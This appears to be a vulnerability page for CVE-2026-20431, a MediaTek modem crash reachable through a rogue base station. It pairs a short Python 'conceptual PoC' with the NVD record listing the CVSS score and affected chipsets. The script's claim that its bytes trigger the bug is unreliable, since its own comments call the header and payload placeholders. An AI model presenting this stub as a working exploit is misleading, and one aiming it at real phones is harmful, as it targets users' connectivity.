CVE-2026-20431

import struct # This is a conceptual PoC to demonstrate the malformed packet structure # that would trigger the logic error in the MediaTek Modem. # In a real scenario, this requires SDR hardware to transmit over the air interface. def build_malformed_rrc_packet(): # Simulating a malformed RRC (Radio Resource Control) message # The specific byte sequence triggers the logic error (Issue ID: MSV-4467) packet_header = b'\x00' * 3 # Generic header placeholder # Malformed length field causing buffer overflow or logic crash malformed_length = struct.pack('>H', 0xFFFF) payload = b'\x41' * 10 # Arbitrary payload return packet_header + malformed_length + payload if __name__ == "__main__": print("[+] Generating PoC payload for CVE-2026-20431...") payload = build_malformed_rrc_packet() print(f"[+] Payload length: {len(payload)} bytes") print(f"[+] Payload hex: {payload.hex()}") print("[!] Note: Transmission requires rogue base station hardware.")

{"cve": {"id": "CVE-2026-20431", "sourceIdentifier": "[email protected]", "published": "2026-04-07T04:16:59.930", "lastModified": "2026-04-10T19:58:43.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible system crash due to a logic error. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01106496; Issue ID: MSV-4467."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6813_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "0E1CB25C-4643-4239-AE47-B5AE876416ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6813:-:*:*:*:*:*:*:*", "matchCriteriaId": "66F9EAE4-F1D7-46DB-AA2A-0290F6EF0501"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6815_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "6FE3EEC2-1B07-40FA-90CA-3209C3578FA2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6815:-:*:*:*:*:*:*:*", "matchCriteriaId": "B7122918-8C44-4F24-82E4-B8448247FC83"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6835_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "00B1D726-8183-4667-B46D-18EF110EA9D9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6878_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "207954E6-D413-4762-9F4A-3A147CFB4FE2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6897_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A04EA650-730F-4E5D-A0E0-90570CACDD5E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6897:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A7D8055-F4B6-41EE-A078-11D56285AB66"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6899_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BEBA484A-EC07-4D3D-80CD-BDE9E7807F71"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:*", "matchCriteriaId": "C6E9F80F-9AC9-41E0-BB14-9DB6F14B62CD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6986_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "17581EC0-D68B-4EA3-845C-366C4A65FC6B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6986:-:*:*:*:*:*:*:*", "matchCriteriaId": "1F419FE2-2D6D-48EE-9B6C-E88AC5D44186"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6991_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D9DD2119-39E8-4A9C-8E2A-8FB7F92A1001"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:*", "matchCriteriaId": "CBBB30DF-E963-4940-B742-F6801F68C3FC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6993_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "FAEB2240-FF37-4CBE-BBEF-8A8281153646"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6993:-:*:*:*:*:*:*:*", "matchCriteriaId": "57E92BE0-5E65-4770-8 ... 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